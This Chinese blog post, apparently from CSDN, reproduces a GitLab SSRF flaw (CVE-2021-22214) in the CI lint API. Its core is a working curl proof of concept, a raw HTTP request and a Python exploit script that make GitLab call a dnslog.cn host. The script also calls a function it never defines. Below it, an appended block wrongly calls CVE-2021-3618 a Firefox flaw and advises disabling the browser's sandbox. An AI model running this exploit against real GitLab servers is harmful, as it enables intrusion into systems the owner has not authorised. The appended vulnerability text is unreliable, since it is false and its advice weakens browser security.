(CVE-2021-22214)Gitlab SSRF漏洞 漏洞复现

简介
GitLab 是一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,并在此基础上搭建起来的Web服务。

漏洞描述
GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。Gitlab的CI lint API用于验证提供给gitlab ci的配置文件是否是yaml格式。而根据其说明文档文档,其include 操作支持remote选项,用于获取远端的yaml。因此在此处将remote参数设置为本地回环地址,同时由于后端会检查最后扩展名,加上?test.yaml 即可绕过。远程攻击者可通过发送特殊构造的 HTTP 请求,欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。

影响版本
13.10.5 > GitLab >= 10.5
13.11.5 > GitLab >= 13.11
13.12.2 > GitLab >= 13.12

测试环境
使用vulfocus进行镜像下载并启动

漏洞复现
POC为:
命令型

curl -k -s --show-error -H 'Content-Type: application/json' http://192.168.8.230:24365/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content":"include:\n remote: http://7gmmkz.dnslog.cn/api/v1/targets/?test.yml"}'

数据包类型

POST /api/v4/ci/lint HTTP/1.1
Host: 192.168.8.230:36586
User-Agent: python-requests/2.25.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 111

{"include_merged_yaml": true, "content": "include:\n  remote: http://4ggwkl.dnslog.cn/api/v1/targets?test.yml"}

再查看dnslog,已经有了记录

Exp:

import json
import sys
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def poc(url, dnshost):

    api="/api/v4/ci/lint"
    data = {"include_merged_yaml": True, "content": "include:\n  remote: http://{}/api/v1/targets?test.yml".format(dnshost)}

    headers = {"Content-Type": "application/json"}

    r = requests.post(url=url+api, data=json.dumps(data), headers=headers, verify=False)
    if r.status_code == 200:
        if dnshost in r.json()["errors"][0]:
            print ("[+] 可能存在 GitLab SSRF 漏洞,请查看dnslog记录.")
            return
    print ("[-] 不存在 GitLab SSRF 漏洞!")

def main():
    banner()
    if (len(sys.argv) == 3):
        url = sys.argv[1]
        dnshost = sys.argv[2]
        poc(url, dnshost)
    else:
        print("Example: \n    python3 " + sys.argv[0] + " <target> <dnshost>\n")

if __name__ == '__main__':
    main()

请添加图片描述

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
CVE-2021-3618漏洞是指影响了Mozilla Firefox浏览器的一个安全漏洞。该漏洞复现步骤如下: 1. 首先,你需要安装最新版本的Mozilla Firefox浏览器。确保你的浏览器已经更新到最新版本,因为最新版本通常会修复已知的漏洞。 2. 在Firefox浏览器中,打开一个新的标签页,并输入“about:config”(不包括引号)并按下Enter键。这将打开Firefox的高级配置页面。 3. 在搜索栏中输入“security.sandbox.content.level”(不包括引号),然后按下Enter键。你将看到一个名为“security.sandbox.content.level”的首选项。 4. 将“security.sandbox.content.level”的值更改为“0”(不包括引号)。这将禁用Firefox的内容沙箱。请注意,这将降低浏览器的安全性,请谨慎操作。 5. 关闭并重新启动Firefox浏览器,使更改生效。 6. 现在,你可以尝试复现CVE-2021-3618漏洞。使用Firefox浏览器访问一个存在安全漏洞的网站,如已知的恶意或受攻击的网站,或使用特定的payload触发漏洞。 7. 如果复现成功,可能会出现安全漏洞所导致的异常行为,比如系统崩溃、恶意代码执行等。如果没有出现异常行为,可能是因为已经修复了该漏洞或在你的环境中无法成功利用。 需要注意的是,复现CVE漏洞可能存在风险,并可能对你的计算机造成不可逆转的损害。这种操作只适用于在合法情况下进行安全测试和研究的专业人士,不推荐普通用户进行尝试。实施复现操作之前,请确认你已经了解并接受相关风险。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值